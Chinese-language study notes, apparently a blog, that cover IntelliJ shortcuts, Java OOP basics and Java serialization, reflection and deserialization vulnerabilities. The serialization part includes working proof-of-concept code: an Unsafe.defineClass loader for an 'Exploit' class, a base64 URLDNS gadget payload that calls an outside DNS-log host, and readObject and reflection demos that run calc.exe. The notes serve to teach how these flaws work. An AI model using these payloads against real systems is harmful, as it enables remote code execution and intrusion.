補java的坑,開始!
1.Intellij一些快捷鍵
intell常用快捷鍵:
ctrl+n 快速查找定位類的位置
ctrl+q 快速查看某個類的文檔信息
shift + F6 快速類、變量重命名
ctrl + i 在當前類實現接口的方法
ctrl + o 復寫基類的方法
ctrl+shift+空格 推薦適用於當前函數的變量
alt+insert 快速設置類的方法
ctrl+shift+a 快速查找各種類,變量,操作
ctrl+alt+t 自動生成異常捕獲塊
ctrl+alt+b 定位抽象方法的實現
ctrl+alt+v 反射提取出類的對象
ctrl+/ 注釋/取消單行
ctrl+shift+/ 注釋多行
shift+F1 瀏覽器中打開當前元素對應的文檔
ctrl+shift+上下箭頭可以快速移動當前行到某一行
表達式后面加點.就可以選擇要自動添加的條件
ctrl+shift+m 可以把代碼塊定義到一個新的方法中,用於代碼復用
ctrl+alt+c 用於提取指定變量
ctrl+alt+b 定位到當前接口的實現處
ctrl+alt+l 可以使整個代碼界面更整齊,取消單行
ctrl+p 可以提示你當前函數可以用什么參數,以及參數類型,感覺比較有用
ctrl+shirt+i 可以查看當前方法的具體定義
F2鍵快速定位到下一個報錯的地方
F4可以定位到類的源碼處進行分析
ctrl+F12 可以快速分析出當前文件中的結構,包括類、方法、變量
ctrl + f 查找字符串 F3 定位到下一個匹配的字符串處,shift+f3返回上一個匹配的字符串處
ctrl+shift+enter 快速生成if或for代碼塊
debug技巧:
2.java的一些基礎知識
java 三大特性:
封裝、多態、繼承
封裝:
類的成員變量不允許直接訪問,必須通過set/get方法來進行訪問,當然要結合變量修飾符private
繼承:
父子關系,不多說,學過c++的都懂,不過java是單繼承不像c++和php是多繼承
多態:
多態又分為引用多態和方法多態
引用多態:
父類的引用可以指向子類的對象
方法多態:
重寫和重載,學過c++的都懂
對象創建的幾種方法:
1.使用new關鍵字 2.使用clone方法 3.反射機制 4.反序列化
其中1,3都會明確的顯式的調用構造函數
2是在內存上對已有對象的影印 所以不會調用構造函數
4是從文件中還原類的對象 也不會調用構造函數
多態存在的三個必要條件
繼承
重寫
父類引用指向子類對象
TIPS:在繼承鏈中對象方法的調用存在一個優先級:this.show(O)、super.show(O)、this.show((super)O)、super.show((super)O)。
比如a繼承A 定義
A j = new a() ;
j.show();
那么引用變量A指向子類的對象,這里this為A,那么先去A中找滿足入口參數的函數,找不到再去A的父類object中找,找不到的話就將入口參數向上轉型,如果此時子類重寫了該方法,則調用子類的該方法,如果沒有重寫,則直接調用A的該方法
注意:不允許通過父類的引用調用子類獨有的方法。
apache-tomcat-7.0.34\webapps
下默認是部署的Web項目。webapps 下的文件夾就是你的項目名了,而項目下的WebRoot一般就是網站的根目錄了,WebRoot下的文件夾WEB-INF默認是不讓Web訪問的,一般存在配置泄漏多半是nginx配置沒有過濾掉這個目錄。
關於java數組對象的文章:
https://blog.csdn.net/zhangjg_blog/article/details/16116613#t1
java虛擬機自動創建了數組類型,可以把數組類型和8種基本數據類型一樣, 當做java的內建類型。這種類型的命名規則是這樣的
* 每一維度用一個[表示;開頭兩個[,就代表是二維數組。
* [后面是數組中元素的類型(包括基本數據類型和引用數據類型)
講得很好,java數組也是對象,對象在計算機中實際上就是一個內存塊,這個內存塊中存儲着該對象的屬性等數據,對於基本類型而言
對於基本類型的數組可以通過調用getclass方法來獲得其對應的類的名字,而直接定義的基本數據類型無法調用方法,因此數組為對象,而對於基本數據類型,java中向上轉型不適合,
例如上圖這種方式的數組轉型是不適合基本數據類型的,只能夠使用:
因為所有的對象的頂層的類均為object,但是對於string可以使用object[]來進行向上轉型,
並且此時sting[]類型的直接父類為object,而不是為object[],但是java是單繼承的,即此時可以理解為object[]類型的引用可以指向string[]對象的引用,即string[]不繼承自object[],但是卻可以向上轉型為object[],即這是java中的一種特例。
序列化
反序列化漏洞的本質就是反序列化機制打破了數據和對象的邊界,導致攻擊者注入的惡意序列化數據在反序列化過程中被還原成對象,控制了對象就可能在目標系統上面執行攻擊代碼。Java序列化應用於RMI JMX JMS(Java Message Service) 技術中。
Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。
java中得到一個對象的方法有四種:
對象創建的幾種方法:
1.使用new關鍵字 2.使用clone方法 3.反射機制 4.反序列化,5.通過unsafe類
其中1,3都會明確的顯式的調用構造函數
2是在內存上對已有對象的影印 所以不會調用構造函數
4是從文件中還原類的對象 也不會調用構造函數
Unsafe類在提升Java運行效率,增強Java語言底層操作能力方面起了很大的作用,其和Runtime一樣采用單例模式,通過以下代碼就能繞過調用構造函數來得到一個object,直接調用其defineclass拿到class的實例
FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/target/classes/asm/Exploit.class"); byte[] a = new byte[fi.available()]; fi.read(a); String payload = Base64.encodeBase64String(a); byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(payload); java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null); unsafe.allocateInstance(unsafe.defineClass("asm/Exploit", bytes, 0, bytes.length,exectest.class.getClassLoader(),null)); //執行static代碼塊
構造一個對象,分配內存和調用構造函數實際是兩個不同的步驟。我們要創建一個對象,實際只需要分配它的內存就可以了
allocateInstance()方法提供了另一種創建實例的途徑。通常我們可以用new或者反射來實例化對象,使用allocateInstance()方法可以直接生成對象實例,且無需調用構造方法和其它初始化方法。
這在對象反序列化的時候會很有用,能夠重建和設置final字段,而不需要調用構造方法。
實際上defineClass用的是本地的方法實現
利用框架提供的一些工具類也能實現反序列化:
在其內部封裝原生的反序列化
String a = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QADnA5dGRsby5jZXllLmlvdAABL3EAfgAFdAAEaHR0cHB4dAAWaHR0cDovL3A5dGRsby5jZXllLmlvL3g="; org.springframework.util.SerializationUtils.deserialize(sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(a)); //URLDNS的gadget
一個類的對象要想序列化成功,必須滿足兩個條件:
該類必須實現 java.io.Serializable 對象
該類的所有屬性必須是可序列化的。如果有一個屬性不是可序列化的,則該屬性必須注明是短暫的。
檢驗一個類的實例是否能序列化十分簡單, 只需要查看該類有沒有實現 java.io.Serializable接口。
實現Serializable和Externalizable接口的類的對象才能被序列化。
Externalizable接口繼承自 Serializable接口,實現Externalizable接口的類完全由自身來控制序列化的行為,而僅實現Serializable接口的類可以采用默認的序列化方式 。
ObjectOutputStream 類用來序列化一個對象
以下是最簡單的序列化和反序列化的過程,通過ObjectOutStream的writeObject來將對象寫入到文件中,通過ObjectInputStream的readObject來讀取文件中序列化的對像,這里反序列化的時候原始的對象是Object,要用(類名)轉換成對應類的對象才能恢復序列化的對象
import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.*; public class xuliehua implements Serializable{ public static String a="a"; public static void main(String[] args) { xuliehua test = new xuliehua(); try { ObjectOutputStream t = new ObjectOutputStream(new FileOutputStream("./xuliehua")); t.writeObject(test); t.close(); ObjectInputStream tt = new ObjectInputStream(new FileInputStream("xuliehua")); xuliehua x = (xuliehua) tt.readObject(); System.out.println(x.a); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } }
java生成的序列化數據是字節序列,base64一下更易讀
自定義序列化和反序列化過程,就是重寫writeObject
和readObject
方法
import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.*; public class xuliehua implements Serializable{ public static String a="a"; private void readObject(ObjectInputStream in) { try { in.defaultReadObject(); Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } public static void main(String[] args) { xuliehua test = new xuliehua(); try { ObjectOutputStream t = new ObjectOutputStream(new FileOutputStream("./xuliehua")); t.writeObject(test); t.close(); ObjectInputStream tt = new ObjectInputStream(new FileInputStream("xuliehua")); xuliehua x = (xuliehua)tt.readObject(); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } }
運行以上代碼即可彈出計算器,這里實際上利用了java多態特性的重寫,重寫readObject方法,其中紅色的一行Runtime.getRuntime.exec即自定義的執行命令的語句,而大部分Java反序列化漏洞的原理就是某個類重寫了readObject
方法
java反射機制:
程序在運行狀態中, 可以動態加載一個只有名稱的類, 對於任意一個已經加載的類,都能夠知道這個類的所有屬性和方法; 對於任意一個對象,都能調用他的任意一個方法和屬性;
加載完類之后, 在堆內存中會產生一個Class類型的對象(一個類只有一個Class對象), 這個對象包含了完整的類的結構信息,而且這個Class對象就像一面鏡子,透過這個鏡子看到類的結構,所以被稱之為:反射
每個類被加載進入內存之后,系統就會為該類生成一個對應的java.lang.Class對象,通過該Class對象就可以訪問到JVM中的這個類.
Class對象的獲取方法:
實例對象的getClass()方法;
類的.class(最安全/性能最好)屬性;
運用Class.forName(String className)動態加載類,className需要是類的全限定名(最常用).
注意,使用功能”.class”來創建Class對象的引用時,不會自動初始化該Class對象,使用forName()會自動初始化該Class對象
import java.awt.desktop.SystemEventListener; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class reflection { public static void main(String[] args) { Class test = Test.class; //此時通過.class創建類test的引用 System.out.println("恢復"+test.getName()); Method[] methods = test.getMethods(); //通過Class類型的對象來訪問test類的所有方法 for (Method method : methods) { System.out.println("method =>"+method.getName()); } try { Method method= test.getMethod("hack",String.class); //通過class類型的對象的getMethod方法來訪問該反射類中的方法,第二個參數為該方法的類型,此處為string型 Object x = method.invoke(new Test("tr1ple"),"23333"); //通過Method類型的method變量來調用invoke來調用getmthod已經定位到的方法,此時第一個參數為反射類的一個實例化對象,
第二個參數為該方法的入口參數 System.out.println(x); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } } } class Test { private String a; public Test(String a) { this.a=a; } public String hack(String b) { try { System.out.println("tet"+this.a+"and "+ b); Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return b; } }
即整個反射鏈的實際調用情況為:
1.TEST.class獲得類的class類型對象,便於訪問TEST類內部結構
2.通過類對象->getmethod()來定位需要調用的方法
3.通過Method類型的變量調用invoke方法來進行反射,完成最終反射調用函數的觸發
參考:
https://www.cnblogs.com/pkufork/p/java_unsafe.html
講序列化和反序列化 很詳細: